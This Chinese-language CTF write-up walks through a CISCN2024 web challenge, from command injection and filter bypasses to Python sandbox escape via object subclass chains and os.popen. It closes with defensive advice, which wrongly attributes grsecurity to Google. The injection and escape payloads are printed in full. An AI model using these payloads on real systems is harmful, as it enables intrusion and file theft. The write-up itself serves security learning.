从命令注入到Python沙箱逃逸:Web安全攻防实战解析
1. 项目概述:一次典型的Web攻防实战复盘
最近刚结束的CISCN2024国赛,Web赛道的题目一如既往地充满了挑战与巧思。我花了不少时间复盘其中一道典型的综合题,它完美串联了从基础命令执行到高级沙箱逃逸的完整攻击链,非常值得拿出来和大家深入聊聊。这道题不是简单的“漏洞利用”,更像是一场与出题人精心设计的防御机制的“攻防博弈”。对于想深入理解现代Web安全攻防,尤其是如何突破层层限制拿到最终权限的朋友来说,这次复盘能提供不少实战思路。
简单来说,题目模拟了一个存在命令注入漏洞的Web应用,但当你尝试执行命令时,会发现身处一个被严格限制的“沙箱”环境中。你的目标就是从这个“牢笼”里逃逸出来,读取到服务器上的关键文件(也就是flag)。整个过程涉及对漏洞点的精准定位、对过滤规则的绕过、对受限环境的探测,以及最终利用系统或语言特性实现逃逸。下面,我就结合我的解题过程,把每个环节的思考、尝试和最终方案拆解清楚。
2. 初探:漏洞发现与基础命令执行
拿到题目,第一步永远是信息收集。访问目标Web服务,通常是一个简单的功能页面,比如一个表单,让你提交某个参数进行处理。
2.1 漏洞点定位与初步测试
在本次复盘的场景中,经过对页面参数(如cmd、exec、host等)的模糊测试,发现某个参数(假设为command)在提交后,其内容似乎被直接拼接到了系统命令中执行,并返回了结果。这是典型的命令注入(Command Injection)漏洞迹象。
一个最简单的测试就是使用分隔符。在Linux bash环境下,常用的命令分隔符有分号;、管道符|、反引号`、$()以及逻辑运算符&&、||。我首先尝试了经典的;:
提交:command=whoami 返回:www-data 提交:command=whoami;ls 返回:www-data index.php看到ls命令的结果被返回,证实了命令注入漏洞的存在,并且当前Web服务运行在www-data用户权限下。这是一个很好的开始,但真正的挑战才刚刚开始。
2.2 遭遇初步过滤与绕过
直接执行ls -la查看目录详情时,发现返回异常。尝试cat index.php也失败了。这说明后端存在某种过滤机制。常见的过滤包括黑名单关键字(如cat,flag,bash等)、过滤空格、过滤特定符号等。
探测过滤规则:
- 空格过滤:尝试用
${IFS}(内部字段分隔符)、$IFS$9、%09(Tab的URL编码)、<、>等代替空格。command=ls${IFS}-la - 关键字过滤:尝试大小写变形、双写、插入特殊字符、使用通配符或编码。
- 如果
cat被过滤,可以尝试:ca\t(利用反斜杠)c”at”或c’at’(利用引号)c??或c*(如果当前目录只有一个c开头的文件,且长度合适)- 使用其他命令替代:
more,less,head,tail,nl,tac,od,xxd等。 - 使用
/bin/cat的绝对路径。
- 如果
在我的测试中,发现cat、flag、/、空格都被过滤了。这迫使我们采用更迂回的方式。
我的绕过方案:
- 空格使用
${IFS}替代。 cat命令使用tac(反向输出文件)或nl(带行号输出)替代。- 对于路径中的
/,可以使用${HOME:0:1}(提取HOME环境变量第一个字符,即/)或者使用cd命令切换目录来避免直接使用/。
例如,要读取/flag文件:
command=nl${IFS}${HOME:0:1}flag或者
command=cd${IFS}/&&nl${IFS}flag通过这种方式,我们成功读取到了第一个可能是“提示”或者“假flag”的文件内容。但题目显然不会这么简单,真正的flag往往在更受限制的环境里。
3. 深入:受限环境分析与信息收集
当我们尝试执行一些更复杂的命令,如python3 -c “import os; print(os.listdir(‘.’))”时,可能会收到错误,或者发现很多常用的工具(如python,perl,nc,wget)都不存在。这强烈暗示我们处在一个“沙箱”或“受限的shell环境”中。
3.1 环境探测技巧
在受限环境下,全面了解自身处境是逃逸的前提。以下是我通常会执行的探测命令(已考虑过滤绕过):
当前用户和环境变量:
command=whoami&&env command=echo${IFS}$PATH查看
PATH环境变量,可能被重置为非常简单的路径,比如只有/bin和/usr/bin的部分子集。可用命令枚举:
command=ls${IFS}/bin&&ls${IFS}/usr/bin或者使用
echo *配合for循环(如果for可用)来列出$PATH中的所有命令。一个更巧妙的方法是使用compgen -c(如果bash完整),但通常不可用。我会手动检查一些关键命令是否存在:sh,bash,dash,python,python3,perl,php,gcc,awk,sed,find,tar,curl,wget,nc,socat。文件系统权限检查:
command=find${IFS}/${IFS}-type${IFS}f${IFS}-perm${IFS}-u=s${IFS}2>/dev/null查找SUID文件,这是重要的权限提升突破口。
command=ls${IFS}-la${IFS}/tmp${IFS}/proc/self/cwd/查看临时目录和当前进程工作目录,有时会有意外发现。
进程和网络信息:
command=ps${IFS}aux command=ifconfig${IFS}||ip${IFS}a command=netstat${IFS}-antp了解服务器内部情况,或许有内部服务可以攻击。
3.2 识别沙箱类型
根据探测结果,我们可以判断沙箱类型:
- 自定义二进制沙箱:
/bin下可能有一个奇怪的二进制文件,或者sh被链接到一个自定义的受限shell。执行echo $SHELL和ls -l /bin/sh可以看。 - 语言沙箱(如popen+过滤):Web应用可能通过
popen()或exec()系列函数执行命令,但自己实现了一套过滤逻辑。这种情况下,我们可能仍然拥有相对完整的系统命令,但被黑名单严格限制。 - 容器环境:检查
/.dockerenv文件或/proc/1/cgroup内容。在容器内,逃逸思路又有所不同。 - 禁用系统调用的沙箱:通过
seccomp等机制限制,执行某些系统调用(如execve,fork,connect)会直接失败。这通常更难,需要找到沙箱未过滤的调用。
在本次题目中,探测后发现:
python3命令存在!- 但
import os; os.system(‘ls’)执行失败。 __import__(‘os’).system(‘ls’)也失败。- 常见的文件读写函数如
open()可能也被拦截或重定向。
这指向了一个Python沙箱,它可能通过修改__builtins__、移除危险模块(如os,subprocess,sys的部分功能)或使用ast/restrictedpython等方式来限制代码执行能力。
4. 突破:Python沙箱逃逸的多种姿势
确认是Python沙箱后,我们的目标就是在这个受限的Python环境中,找到一种方法来执行任意系统命令或读取任意文件。以下是几种经过实战检验的逃逸思路。
4.1 寻找残留的“危险”模块或函数
即使沙箱移除了os和subprocess,也可能遗漏一些“边缘”模块或未彻底清理的引用。
遍历所有已加载模块:
import sys print(list(sys.modules.keys()))检查是否有
os、posix、pwd、resource、ctypes、cffi等模块残留。有时os被删,但posix(os的底层模块)还在。利用
__import__直接导入:__import__(‘os’).system(‘ls’)如果
os模块本身未被从系统中删除,只是从当前命名空间移除,这招可能有效。但高级沙箱会钩住__import__函数。利用
sys.modules缓存恢复模块:import sys sys.modules[‘os’] = __import__(‘os’) import os os.system(‘ls’)如果
os模块之前被其他代码导入过,它可能还存在于sys.modules缓存中,即使当前命名空间没有。
4.2 利用Python的内省(Introspection)和对象链
这是沙箱逃逸的核心技巧。Python中一切皆对象,对象之间通过属性(__dict__、__class__、__bases__、__subclasses__等)相互关联。我们可以从任何一个已知的安全对象(比如一个空字符串””,一个空元组(),甚至一个异常对象)出发,遍历到我们想要的危险类。
经典逃逸链(以获取os.system为例):
# 从一个简单的对象开始,比如一个空元组 obj = () # 获取它的类 obj_class = obj.__class__ # 获取这个类的所有父类(对于tuple,是object) obj_bases = obj_class.__bases__ # 获取object类的所有子类(这是关键!) all_subclasses = obj_bases[0].__subclasses__() # 遍历所有子类,寻找我们需要的类,比如`_wrap_close`(在io模块)或`os._wrap_close` for i, subclass in enumerate(all_subclasses): if subclass.__name__ == ‘_wrap_close’: # 找到这个类后,可以访问其`__init__`函数的`__globals__` # `__globals__`包含了该函数定义时的全局命名空间字典 target_class = subclass break # 从`__init__.__globals__`中获取`os`模块 os_module = target_class.__init__.__globals__.get(‘os’) # 或者直接获取`system`函数 system_func = target_class.__init__.__globals__.get(‘system’) if os_module: os_module.system(‘ls’) if system_func: system_func(‘ls’)为什么是_wrap_close?因为在CPython中,这个类(io._IOBase的子类)的__init__.__globals__通常会引用大量内置模块,包括os和sys。这是CTF中非常常见的“逃逸起点”。
实战中的简化写法:
[].__class__.__base__.__subclasses__()[140].__init__.__globals__[‘system’](‘ls’)这里的140是索引,需要根据Python版本和环境进行爆破或推算。在受限环境下,我们可以写个小循环来寻找包含os或system的类:
for i, cls in enumerate([].__class__.__base__.__subclasses__()): try: if ‘os’ in cls.__init__.__globals__: print(i, cls.__name__) except: pass4.3 利用文件操作相关类直接读写
如果最终目标只是读文件,不一定非要拿到os.system。一些用于文件操作的子类(如<class ‘_io.FileIO’>)本身就具备读写能力。
# 找到FileIO类 for i, cls in enumerate([].__class__.__base__.__subclasses__()): if cls.__name__ == ‘FileIO’: fileio_class = cls break # 使用它打开并读取文件 f = fileio_class(‘/flag’, ‘r’) print(f.read()) f.close()或者利用open函数可能作为某个类的__init__.__globals__中的内置函数存在。
4.4 利用命令执行类
除了os.system,subprocess.Popen也是常见目标。寻找包含subprocess的类:
for i, cls in enumerate([].__class__.__base__.__subclasses__()): try: if ‘subprocess’ in cls.__init__.__globals__: subprocess_module = cls.__init__.__globals__[‘subprocess’] subprocess_module.Popen(‘ls’, shell=True, stdout=subprocess.PIPE).communicate()[0] break except: pass4.5 针对题目环境的特定逃逸
在本次CISCN2024的题目中,经过枚举,我发现某个特定索引的类(例如<class ‘os._wrap_close’>)的__init__.__globals__中,os模块虽然存在,但os.system被置为了None。然而,os模块下的popen函数却未被清理!
最终Payload:
# 通过对象链找到包含os模块的类 target_class = [].__class__.__base__.__subclasses__()[XXX] # XXX为实际索引 os_module = target_class.__init__.__globals__[‘os’] # 使用os.popen执行命令并读取结果 result = os_module.popen(‘cat /real_flag’).read() print(result)这里之所以能用cat,是因为我们已经在Python沙箱内部,绕过了外层的Web应用命令过滤黑名单。沙箱可能只限制了Python层面的危险函数,但对通过popen执行的命令内容未做二次过滤。
5. 组合利用:完成最终攻击链
现在,我们将所有步骤串联起来,形成从Web入口到沙箱逃逸的完整攻击链:
- Step 1: 发现注入点。通过参数测试,发现
command参数存在命令注入。 - Step 2: 绕过基础过滤。使用
${IFS}代替空格,使用tac或nl代替cat,成功执行ls等基础命令,发现一个提示文件。 - Step 3: 探测沙箱。尝试执行
python3 -c “print(‘hello’)”成功,但执行import os失败,确认进入Python沙箱环境。 - Step 4: 枚举逃逸路径。在Web注入点,构造Payload,通过Python代码枚举可用的子类。由于Web接口通常只回显最后一行或有限输出,需要将结果编码或分段提取。
从输出中查找包含command=python3${IFS}-c${IFS}“import${IFS}sys;l=[].__class__.__base__.__subclasses__();[sys.stdout.write(str(i)+‘ ’+l[i].__name__+‘\n’)${IFS}for${IFS}i${IFS}in${IFS}range(len(l))]”os、subprocess、_wrap_close、FileIO等关键字的类索引。 - Step 5: 实施逃逸。根据找到的索引,构造读取
/real_flag的最终Payload。注意,最终的flag路径可能需要根据提示文件的内容来确定。command=python3${IFS}-c${IFS}“c=[].__class__.__base__.__subclasses__()[132].__init__.__globals__[‘os’].popen(‘cat${IFS}/real_flag’).read();print(c)” - Step 6: 获取Flag。提交上述Payload,在返回结果中得到最终的flag内容。
6. 防御视角:如何构建更安全的沙箱
作为攻击者,我们乐于突破沙箱;但作为开发者,我们应该思考如何构建更坚固的防线。从这道题可以反推出一些防御思路:
- 最小权限原则:运行沙箱的进程用户权限应尽可能低(如
nobody),并配置严格的chroot或文件系统命名空间,限制其可访问的文件范围。 - 多层次过滤:不仅在Web输入层过滤,在沙箱内部也应进行二次过滤和校验。例如,即使通过
os.popen执行命令,也应使用白名单机制限制可执行的命令和参数。 - 彻底清理执行环境:
- 使用
sys.modules.clear()并只导入绝对必要的模块。 - 删除或重写
__builtins__.__import__、__builtins__.eval、__builtins__.exec等危险函数。 - 利用
ast模块对用户输入的代码进行静态分析和安全限制,禁止访问__开头的魔术属性。
- 使用
- 使用成熟的沙箱方案:如PyPy的
sandbox、Google的grsecurity、或基于seccomp-bpf的系统调用过滤方案(如pysandbox),而非自己手动黑名单。 - 日志与监控:详细记录沙箱内尝试执行的所有命令和访问的系统资源,便于事后审计和攻击发现。
7. 实战心得与避坑指南
复盘整个过程,有几个关键点决定了成败,也是新手容易踩坑的地方:
- 信息收集要系统化:不要满足于找到一个注入点就猛打。先花时间摸清环境:过滤了哪些字符?哪些命令可用?当前用户是谁?有什么特殊文件或权限?这就像打仗前的侦察,信息越全,方案越有效。
- 善用编码和变形:当直接Payload被过滤时,考虑URL编码、Base64编码、十六进制编码、字符串反转、拼接等技巧。例如,可以将命令
cat /flag先Base64编码,然后用bash解码执行:echo${IFS}Y2F0IC9mbGFnCg==|base64${IFS}-d|bash。 - Python沙箱逃逸的起点选择:
().__class__.__bases__[0].__subclasses__()是万金油,但有时object类可能被替换。备选起点包括:””.__class__.__mro__[1].__subclasses__()(通过字符串的父类object),或者直接使用sys模块(如果可用)找到builtins模块。 - 注意Payload的传输和回显:在Web命令注入中,回显可能有限制。对于长的输出(如子类列表),可以将其写入
/tmp目录下的文件,然后分次读取;或者使用hex编码、xxd等工具将二进制输出转换为可打印字符。 - 保持耐心,多角度尝试:沙箱逃逸往往需要多次尝试。一条链断了,立刻换另一条。从文件读写、命令执行、网络外连等多个角度思考可能的突破点。例如,如果完全无法执行命令,能否利用
FileIO将flag写入一个Web可访问的目录?或者利用socket类(如果存在)建立反向连接?
这道题从简单的命令注入入手,逐步深入到Python沙箱逃逸,涵盖了Web安全中非常经典的攻防场景。理解并掌握其中的每一步,不仅能帮助你在CTF比赛中得分,更能让你在实际的渗透测试和安全评估中,面对复杂的防御体系时,拥有清晰的突破思路。安全攻防的本质就是一场永不停歇的博弈,而深入理解每一层技术的原理,正是我们在这场博弈中保持优势的关键。
